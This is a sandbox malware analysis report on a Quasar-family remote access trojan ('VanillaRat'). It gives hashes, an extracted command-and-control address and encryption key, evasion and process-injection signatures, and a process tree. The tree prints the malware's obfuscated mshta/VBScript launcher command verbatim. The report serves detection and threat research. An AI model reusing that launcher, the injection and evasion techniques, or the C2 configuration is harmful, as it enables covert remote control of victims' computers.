Overview
overview
10Static
static
10Release/Ha...er.bat
windows7-x64
7Release/Ha...er.bat
windows10-1703-x64
10Release/Ha...er.bat
windows10-2004-x64
10Release/Ha...er.bat
windows11-21h2-x64
10Release/Va...at.exe
windows7-x64
8Release/Va...at.exe
windows10-1703-x64
10Release/Va...at.exe
windows10-2004-x64
10Release/Va...at.exe
windows11-21h2-x64
10Analysis
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max time kernel
60s -
max time network
56s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
18-08-2024 13:35
Behavioral task
behavioral1
Sample
Release/Handlers/Handler.bat
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
Release/Handlers/Handler.bat
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
Release/Handlers/Handler.bat
Resource
win10v2004-20240802-en
Behavioral task
behavioral4
Sample
Release/Handlers/Handler.bat
Resource
win11-20240802-en
Behavioral task
behavioral5
Sample
Release/VanillaRat.exe
Resource
win7-20240704-en
Behavioral task
behavioral6
Sample
Release/VanillaRat.exe
Resource
win10-20240404-en
Behavioral task
behavioral7
Sample
Release/VanillaRat.exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral8
Sample
Release/VanillaRat.exe
Resource
win11-20240802-en
General
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Target
Release/VanillaRat.exe
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Size
1.7MB
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MD5
59fea74c326c7e496617bb45bdfbcc00
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SHA1
7c0dd54592857eed1cb068e24315b2bbe7511b76
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SHA256
9b6dcbe8df1be5241a40987a416e896737a7442db492e9df8413277835fb766d
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SHA512
443005543a476b0c3ef4744ba0b7075185cf0ae80783c06f98ee2845872c54ad2ee6d69810acaed692720b5ad19129935b751e45ac8725b050ccca5b94ecc6ba
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SSDEEP
24576:Lz2qwZHZd2PjnRh3Xz2DrtasSA7ZUNnbkAqE6joUZ57W:f2qw+nYVZY6jog
Malware Config
Extracted
quasar
1.0.0.0
v2.2.5 | VanillaRAT
163.5.215.216:4782
cbadd9b5-ddec-4242-bf61-1d311f862dd3
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encryption_key
1C7D50D49C8CFBD67416B7A7C9CD3F45FD94217E
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install_name
.exe
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log_directory
$sxr-Logs
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reconnect_delay
3000
Signatures
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Quasar payload 1 IoCs
Processes:
resource yara_rule behavioral7/memory/1452-77-0x000002A6CA6F0000-0x000002A6CAEBA000-memory.dmp family_quasar -
Suspicious use of NtCreateProcessExOtherParentProcess 3 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exedescription pid process target process PID 4124 created 4332 4124 WerFault.exe dllhost.exe PID 5264 created 6980 5264 WerFault.exe dllhost.exe PID 6924 created 6212 6924 WerFault.exe dllhost.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs
Processes:
Handler.bat.exe$sxr-powershell.exesvchost.exedescription pid process target process PID 2248 created 612 2248 Handler.bat.exe winlogon.exe PID 1452 created 612 1452 $sxr-powershell.exe winlogon.exe PID 1452 created 612 1452 $sxr-powershell.exe winlogon.exe PID 2248 created 612 2248 Handler.bat.exe winlogon.exe PID 1452 created 612 1452 $sxr-powershell.exe winlogon.exe PID 1452 created 612 1452 $sxr-powershell.exe winlogon.exe PID 1452 created 612 1452 $sxr-powershell.exe winlogon.exe PID 1452 created 612 1452 $sxr-powershell.exe winlogon.exe PID 5624 created 4332 5624 svchost.exe dllhost.exe PID 5624 created 6980 5624 svchost.exe dllhost.exe PID 1452 created 612 1452 $sxr-powershell.exe winlogon.exe PID 5624 created 6212 5624 svchost.exe dllhost.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
$sxr-mshta.exeHandler.bat.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation $sxr-mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation Handler.bat.exe -
Executes dropped EXE 5 IoCs
Processes:
Handler.bat.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exe$sxr-powershell.exepid process 2248 Handler.bat.exe 1728 $sxr-mshta.exe 2200 $sxr-cmd.exe 1452 $sxr-powershell.exe 3220 $sxr-powershell.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
Processes:
svchost.exedescription ioc process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe -
Hide Artifacts: Hidden Window 1 TTPs 2 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
Processes:
$sxr-powershell.exe$sxr-powershell.exepid process 1452 $sxr-powershell.exe 3220 $sxr-powershell.exe -
Suspicious use of SetThreadContext 18 IoCs
Processes:
Handler.bat.exe$sxr-powershell.exedescription pid process target process PID 2248 set thread context of 3512 2248 Handler.bat.exe dllhost.exe PID 2248 set thread context of 4516 2248 Handler.bat.exe dllhost.exe PID 1452 set thread context of 2336 1452 $sxr-powershell.exe dllhost.exe PID 1452 set thread context of 3132 1452 $sxr-powershell.exe dllhost.exe PID 1452 set thread context of 4864 1452 $sxr-powershell.exe dllhost.exe PID 1452 set thread context of 3024 1452 $sxr-powershell.exe dllhost.exe PID 2248 set thread context of 5412 2248 Handler.bat.exe dllhost.exe PID 2248 set thread context of 5472 2248 Handler.bat.exe dllhost.exe PID 1452 set thread context of 1168 1452 $sxr-powershell.exe dllhost.exe PID 1452 set thread context of 6640 1452 $sxr-powershell.exe dllhost.exe PID 1452 set thread context of 6728 1452 $sxr-powershell.exe dllhost.exe PID 1452 set thread context of 4408 1452 $sxr-powershell.exe dllhost.exe PID 1452 set thread context of 1072 1452 $sxr-powershell.exe dllhost.exe PID 1452 set thread context of 4332 1452 $sxr-powershell.exe dllhost.exe PID 1452 set thread context of 6944 1452 $sxr-powershell.exe dllhost.exe PID 1452 set thread context of 6980 1452 $sxr-powershell.exe dllhost.exe PID 1452 set thread context of 6212 1452 $sxr-powershell.exe dllhost.exe PID 1452 set thread context of 6612 1452 $sxr-powershell.exe dllhost.exe -
Drops file in Windows directory 8 IoCs
Processes:
Handler.bat.exeTiWorker.exeWerFault.exedescription ioc process File created C:\Windows\$sxr-powershell.exe Handler.bat.exe File opened for modification C:\Windows\$sxr-powershell.exe Handler.bat.exe File created C:\Windows\$sxr-mshta.exe Handler.bat.exe File opened for modification C:\Windows\$sxr-mshta.exe Handler.bat.exe File created C:\Windows\$sxr-cmd.exe Handler.bat.exe File opened for modification C:\Windows\$sxr-cmd.exe Handler.bat.exe File opened for modification C:\Windows\Logs\CBS\CBS.log TiWorker.exe File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 2 IoCs
Processes:
WerFault.exeWerFault.exepid pid_target process target process 5864 4332 WerFault.exe dllhost.exe 2308 6980 WerFault.exe dllhost.exe -
System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
WerFault.exedllhost.exedllhost.exedllhost.exedllhost.exeWerFault.exeWerFault.exedllhost.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WerFault.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WerFault.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WerFault.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
Processes:
cmd.exePING.EXEpid process 4100 cmd.exe 5208 PING.EXE -
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe -
Checks processor information in registry 2 TTPs 11 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
svchost.exeWerFault.exeWerFault.exeWerFault.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe -
Enumerates system info in registry 2 TTPs 7 IoCs
Processes:
wmiprvse.exeWerFault.exeWerFault.exeWerFault.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe -
Modifies registry class 1 IoCs
Processes:
$sxr-mshta.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe -
Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exeHandler.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exepid process 2096 powershell.exe 2096 powershell.exe 2248 Handler.bat.exe 2248 Handler.bat.exe 2248 Handler.bat.exe 2248 Handler.bat.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 4516 dllhost.exe 4516 dllhost.exe 4516 dllhost.exe 4516 dllhost.exe 2248 Handler.bat.exe 2248 Handler.bat.exe 1452 $sxr-powershell.exe 1452 $sxr-powershell.exe 1452 $sxr-powershell.exe 1452 $sxr-powershell.exe 1452 $sxr-powershell.exe 2336 dllhost.exe 2336 dllhost.exe 2336 dllhost.exe 3132 dllhost.exe 3132 dllhost.exe 3132 dllhost.exe 3132 dllhost.exe 2336 dllhost.exe 2336 dllhost.exe 1452 $sxr-powershell.exe 1452 $sxr-powershell.exe 3220 $sxr-powershell.exe 3220 $sxr-powershell.exe 1452 $sxr-powershell.exe 4864 dllhost.exe 4864 dllhost.exe 3024 dllhost.exe 3024 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 3024 dllhost.exe 3024 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 3220 $sxr-powershell.exe 3220 $sxr-powershell.exe 2096 powershell.exe 4864 dllhost.exe 4864 dllhost.exe 3024 dllhost.exe 3024 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 3024 dllhost.exe 3024 dllhost.exe 3220 $sxr-powershell.exe 3220 $sxr-powershell.exe 4864 dllhost.exe 4864 dllhost.exe 3024 dllhost.exe 3024 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exeHandler.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exesvchost.exedescription pid process Token: SeDebugPrivilege 2096 powershell.exe Token: SeDebugPrivilege 2248 Handler.bat.exe Token: SeDebugPrivilege 2248 Handler.bat.exe Token: SeDebugPrivilege 3512 dllhost.exe Token: SeDebugPrivilege 4516 dllhost.exe Token: SeDebugPrivilege 1452 $sxr-powershell.exe Token: SeDebugPrivilege 1452 $sxr-powershell.exe Token: SeDebugPrivilege 2336 dllhost.exe Token: SeDebugPrivilege 3132 dllhost.exe Token: SeDebugPrivilege 3220 $sxr-powershell.exe Token: SeDebugPrivilege 1452 $sxr-powershell.exe Token: SeDebugPrivilege 4864 dllhost.exe Token: SeDebugPrivilege 3024 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 1212 svchost.exe Token: SeIncreaseQuotaPrivilege 1212 svchost.exe Token: SeSecurityPrivilege 1212 svchost.exe Token: SeTakeOwnershipPrivilege 1212 svchost.exe Token: SeLoadDriverPrivilege 1212 svchost.exe Token: SeSystemtimePrivilege 1212 svchost.exe Token: SeBackupPrivilege 1212 svchost.exe Token: SeRestorePrivilege 1212 svchost.exe Token: SeShutdownPrivilege 1212 svchost.exe Token: SeSystemEnvironmentPrivilege 1212 svchost.exe Token: SeUndockPrivilege 1212 svchost.exe Token: SeManageVolumePrivilege 1212 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1212 svchost.exe Token: SeIncreaseQuotaPrivilege 1212 svchost.exe Token: SeSecurityPrivilege 1212 svchost.exe Token: SeTakeOwnershipPrivilege 1212 svchost.exe Token: SeLoadDriverPrivilege 1212 svchost.exe Token: SeSystemtimePrivilege 1212 svchost.exe Token: SeBackupPrivilege 1212 svchost.exe Token: SeRestorePrivilege 1212 svchost.exe Token: SeShutdownPrivilege 1212 svchost.exe Token: SeSystemEnvironmentPrivilege 1212 svchost.exe Token: SeUndockPrivilege 1212 svchost.exe Token: SeManageVolumePrivilege 1212 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1212 svchost.exe Token: SeIncreaseQuotaPrivilege 1212 svchost.exe Token: SeSecurityPrivilege 1212 svchost.exe Token: SeTakeOwnershipPrivilege 1212 svchost.exe Token: SeLoadDriverPrivilege 1212 svchost.exe Token: SeSystemtimePrivilege 1212 svchost.exe Token: SeBackupPrivilege 1212 svchost.exe Token: SeRestorePrivilege 1212 svchost.exe Token: SeShutdownPrivilege 1212 svchost.exe Token: SeSystemEnvironmentPrivilege 1212 svchost.exe Token: SeUndockPrivilege 1212 svchost.exe Token: SeManageVolumePrivilege 1212 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1212 svchost.exe Token: SeIncreaseQuotaPrivilege 1212 svchost.exe Token: SeSecurityPrivilege 1212 svchost.exe Token: SeTakeOwnershipPrivilege 1212 svchost.exe Token: SeLoadDriverPrivilege 1212 svchost.exe Token: SeSystemtimePrivilege 1212 svchost.exe Token: SeBackupPrivilege 1212 svchost.exe Token: SeRestorePrivilege 1212 svchost.exe Token: SeShutdownPrivilege 1212 svchost.exe Token: SeSystemEnvironmentPrivilege 1212 svchost.exe Token: SeUndockPrivilege 1212 svchost.exe Token: SeManageVolumePrivilege 1212 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1212 svchost.exe Token: SeIncreaseQuotaPrivilege 1212 svchost.exe Token: SeSecurityPrivilege 1212 svchost.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
$sxr-powershell.exeConhost.exepid process 1452 $sxr-powershell.exe 2068 Conhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
VanillaRat.exepowershell.execmd.exeHandler.bat.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exedescription pid process target process PID 2724 wrote to memory of 2096 2724 VanillaRat.exe powershell.exe PID 2724 wrote to memory of 2096 2724 VanillaRat.exe powershell.exe PID 2096 wrote to memory of 4632 2096 powershell.exe cmd.exe PID 2096 wrote to memory of 4632 2096 powershell.exe cmd.exe PID 4632 wrote to memory of 2248 4632 cmd.exe Handler.bat.exe PID 4632 wrote to memory of 2248 4632 cmd.exe Handler.bat.exe PID 2248 wrote to memory of 3512 2248 Handler.bat.exe dllhost.exe PID 2248 wrote to memory of 3512 2248 Handler.bat.exe dllhost.exe PID 2248 wrote to memory of 3512 2248 Handler.bat.exe dllhost.exe PID 2248 wrote to memory of 3512 2248 Handler.bat.exe dllhost.exe PID 2248 wrote to memory of 3512 2248 Handler.bat.exe dllhost.exe PID 2248 wrote to memory of 3512 2248 Handler.bat.exe dllhost.exe PID 2248 wrote to memory of 3512 2248 Handler.bat.exe dllhost.exe PID 2248 wrote to memory of 4516 2248 Handler.bat.exe dllhost.exe PID 2248 wrote to memory of 4516 2248 Handler.bat.exe dllhost.exe PID 2248 wrote to memory of 4516 2248 Handler.bat.exe dllhost.exe PID 2248 wrote to memory of 4516 2248 Handler.bat.exe dllhost.exe PID 2248 wrote to memory of 4516 2248 Handler.bat.exe dllhost.exe PID 2248 wrote to memory of 4516 2248 Handler.bat.exe dllhost.exe PID 2248 wrote to memory of 4516 2248 Handler.bat.exe dllhost.exe PID 2248 wrote to memory of 4516 2248 Handler.bat.exe dllhost.exe PID 2248 wrote to memory of 4516 2248 Handler.bat.exe dllhost.exe PID 1728 wrote to memory of 2200 1728 $sxr-mshta.exe $sxr-cmd.exe PID 1728 wrote to memory of 2200 1728 $sxr-mshta.exe $sxr-cmd.exe PID 2200 wrote to memory of 1452 2200 $sxr-cmd.exe $sxr-powershell.exe PID 2200 wrote to memory of 1452 2200 $sxr-cmd.exe $sxr-powershell.exe PID 1452 wrote to memory of 2336 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 2336 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 2336 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 2336 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 2336 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 2336 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 2336 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 4076 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 4076 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 4076 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 3132 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 3132 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 3132 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 3132 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 3132 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 3132 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 3132 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 3132 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 3132 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 3220 1452 $sxr-powershell.exe $sxr-powershell.exe PID 1452 wrote to memory of 3220 1452 $sxr-powershell.exe $sxr-powershell.exe PID 1452 wrote to memory of 4864 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 4864 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 4864 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 4864 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 4864 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 4864 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 4864 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 4864 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 4864 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 1784 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 1784 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 1784 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 3024 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 3024 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 3024 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 3024 1452 $sxr-powershell.exe dllhost.exe PID 1452 wrote to memory of 3024 1452 $sxr-powershell.exe dllhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:612
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1020
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{e8ef9856-2242-4506-a2b7-6fc77981a37b}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3512
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{3ec00975-2522-4e40-adf0-4435a70b2e38}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2336
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{38ad70bf-959b-489e-ae2d-e25d46f9883e}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4864
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{86b6c022-1e9c-4c44-833a-580a6c38975b}2⤵PID:5412
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{76204e13-a5bc-44b3-bc60-508b516c4779}2⤵PID:1168
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{11b3a8ff-bc30-4d0b-a3a8-6f8035d59d47}2⤵PID:6728
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{3f218a6a-9b04-4d80-9875-a8c7a6f6521e}2⤵PID:1072
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{b5360dd6-5335-4280-946c-fa392e87983c}2⤵PID:6944
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{09a3e476-c522-411b-96b1-45e811dc9e90}2⤵PID:6212
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 6212 -s 3083⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:6808
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:948
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:508
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1012
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1096
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1132
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1144
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2780
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C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-SuFaBOaZkphcFfsPxOCG4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1728 -
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-SuFaBOaZkphcFfsPxOCG4312:&#<?=%3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2200 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:4700
